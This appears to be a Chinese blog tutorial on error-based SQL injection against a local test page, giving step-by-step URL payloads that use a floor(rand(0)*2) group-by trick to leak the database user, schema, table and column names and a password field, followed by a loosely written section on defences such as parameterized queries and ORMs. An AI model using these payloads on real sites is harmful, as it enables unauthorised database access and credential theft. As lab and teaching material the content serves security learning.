SQL注入--报错注入

一个带get参数的网站并且不从数据库返回数据,但存在报错信息
http://127.0.0.1/index.php?id=1

http://127.0.0.1/index.php?id=1'


查看字段情况:

http://127.0.0.1/index.php?id=1' order by 3%23

http://127.0.0.1/index.php?id=1' order by 4%23


报错注入语句格式:

http://127.0.0.1/index.php?id=1' and 1=2 union select1,2,3 from(select+count(*),concat(floor(rand(0)*2),(SQL语句))a from information_schema.tables group by a)b%23
注:
其中1,2,3为存在的字段数
SQL语句处为要输入的SQL注入语句

查看当前数据库账号的权限:
http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from(select+count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b%23


爆库名:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from (select+count(*),concat(floor(rand(0)*2),(
select schema_name from information_schema.schemata limit 5,1
))a from information_schema.tables group by a)b%23
注:
limit x,1 中x表示要查询的第x个数据库名,从0开始算起


爆表名:

http://127.0.0.1/index.php?id=1' and 1=2 unionselect 1,2,3 from (select+count(*),concat(floor(rand(0)*2),(
select table_name from information_schema.tables where table_schema=database() limit0,1
))a from information_schema.tables group by a)b%23
注:
database() 表示使用当前数据库,如果要跨库查询,将库名十六进制编码后填入其中,如:table_schema=0x111111111;
limit 0,1 表示查询第一个表名,修改0查询其他;


爆字段:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from (select+count(*),concat(floor(rand(0)*2),(
select column_name from information_schema.columns where table_schema=database() and table_name=0x11111111limit 2,1
))a from information_schema.tables group by a)b%23
注:
0x11111111  为要查询的表名的十六进制
limit 2,1 为要查询的第2个字段


爆pwd:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from(select+count(*),concat(floor(rand(0)*2),(
select pwd from user
))a from information_schema.tables group by a)b%23

拿到最终的key

### 解决SQL库中的注入漏洞问题 为了有效防止SQL注入攻击并解决与此相关的错误,可以采用多种方法和技术来增强应用程序的安全性和稳定性。以下是针对SQL注入防护的具体措施以及解决方案: #### 数据验证与清理 数据输入的有效性验证是预防SQL注入的第一步。通过严格的数据类型检查和长度限制,能够减少恶意输入的可能性。例如,在PHP中可以通过`bin2hex()`函数将二进制字符串转换为十六进制表示形式[^1],从而避免特殊字符被解释为SQL语法的一部分。 #### 参数化查询 参数化查询是一种推荐的方法,它分离了SQL语句逻辑与其动态部分。这样即使用户提供含有潜在危险字符的内容也不会影响到最终执行的命令结构。下面是一个使用Python SQLAlchemy实现的例子: ```python from sqlalchemy import text def safe_query(engine, user_input): stmt = text("SELECT * FROM users WHERE username=:username") result = engine.execute(stmt, {"username": user_input}) return result.fetchall() ``` 此代码片段展示了如何利用绑定变量`:username`安全地传递外部输入给数据库引擎处理而不必担心它们会破坏原有SQL指令完整性。 #### 使用ORM框架 对象关系映射(ORM)工具像Django ORM或者Hibernate简化了开发者操作数据库的方式,并内置了许多保护机制对抗常见的安全性威胁包括但不限于SQL Injection attacks。这些高级别的抽象层通常已经考虑到了大部分可能发生的陷阱因此更加可靠。 另外值得注意的是虽然上述技术手段能极大程度降低遭受SQL注入的风险但并不能完全消除所有情况下的隐患所以持续更新依赖项保持软件最新状态同样重要[^3]。 对于特定版本号提到的问题如“less-18”, 如果是指某个具体开源项目里的缺陷编号,则建议查阅该项目官方文档或issue tracker获取最权威修复指南;如果是泛指小于等于v18之前的某些已知弱点则需逐一排查对应改动记录确认补救策略是否适用当前环境需求[^2].
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值